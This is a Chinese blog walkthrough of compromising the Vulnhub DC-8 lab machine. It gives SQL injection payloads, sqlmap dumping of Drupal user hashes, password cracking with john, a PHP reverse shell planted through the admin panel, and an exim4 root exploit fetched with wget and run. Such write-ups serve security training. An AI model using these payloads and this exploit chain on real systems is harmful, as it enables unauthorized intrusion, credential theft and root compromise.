Vulnhub靶机：DC8

最新推荐文章于 2024-06-16 19:43:17 发布

huang0c

最新推荐文章于 2024-06-16 19:43:17 发布

阅读量341

点赞数 8

分类专栏：靶场文章标签： web安全

本文链接：https://blog.csdn.net/qq_48904485/article/details/136250861

版权

靶场专栏收录该内容

76 篇文章 4 订阅

订阅专栏

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：DC8（10.0.2.61）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/dc-8,367/

二、信息收集

使用nmap主机发现靶机ip：10.0.2.61

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口：22、80

nmap -A 10.0.2.61 -p 1-65535

在这里插入图片描述

打开网站发现是drupal cms

在这里插入图片描述

使用droopescan工具探测drupal的版本为7.67

droopescan scan -u http://10.0.2.61

在这里插入图片描述

也可以直接访问CHANGELOG.txt文件查看版本信息：http://10.0.2.61/CHANGELOG.txt

在这里插入图片描述

使用命令searchsploit Drupal 7.67搜索Drupal 7.67的历史漏洞，都尝试一遍发现利用不了

在这里插入图片描述

查看网站发现?nid=1字段，可以试试是否存在sql注入漏洞

http://10.0.2.61/?nid=1

在这里插入图片描述

直接输入反斜杠，出现数据库报错信息，存在sql注入

在这里插入图片描述

三、漏洞利用

可以尝试报错注入

获取数据库名：
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(database()),0x7e),1)

在这里插入图片描述

获取表名：
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

发现进行报错注入时，会出现由于数据的数量过多导致无法一次性显示所有内容

在这里插入图片描述

可以使用mid函数获取完整的数据，MID 函数用于从文本字段中提取字符。

mid函数，第一个参数是要提取的表名，第二个参数为起始位置，第三个参数为返回的字符个数

获取表名：
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

由于这个库的表太多了，我直接使用sqlmap跑了，发现users表

sqlmap -u http://10.0.2.61/?nid=1 -D d7db --tables

在这里插入图片描述

获取users表的内容

sqlmap -u http://10.0.2.61/?nid=1 -D d7db -T users --dump

在这里插入图片描述

发现两组用户名密码，其中密码被加密了

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

将两个密码字段复制到文件passwd.txt，使用john工具暴力破解密码，得到：john:turtle

john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

在这里插入图片描述

使用爆破得到的用户名密码登录网站

在这里插入图片描述

登录后查看网站后台各个功能点，发现可以执行php代码的地方

在这里插入图片描述

直接在里面添加反弹shell的php代码并保存

在这里插入图片描述

在首页联系我们处添加数据，点击提交即可执行反弹shell的php代码，反弹shell

在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

执行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件，发现/usr/sbin/exim4

在这里插入图片描述

查看一下exim4的版本exim4 --version，为4.89

在这里插入图片描述

使用searchsploit搜索exim的历史漏洞，看看也没有可利用的

searchsploit exim

在这里插入图片描述

发现应该符合版本的本地提权漏洞，将该漏洞的exp下载下来，上传到靶机执行

主机执行：
searchsploit -m linux/local/46996.sh
mv 46996.sh /var/www/html/46996.sh
service apache2 start                                    
靶机执行：
cd /tmp
wget http://10.0.2.15/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat

在这里插入图片描述

查看flag

在这里插入图片描述

huang0c

关注

8
点赞
踩
10

收藏

觉得还不错? 一键收藏
打赏
0
评论
Vulnhub靶机：DC8

运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：DC8（10.0.2.61）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/dc-8,367/
复制链接

扫一扫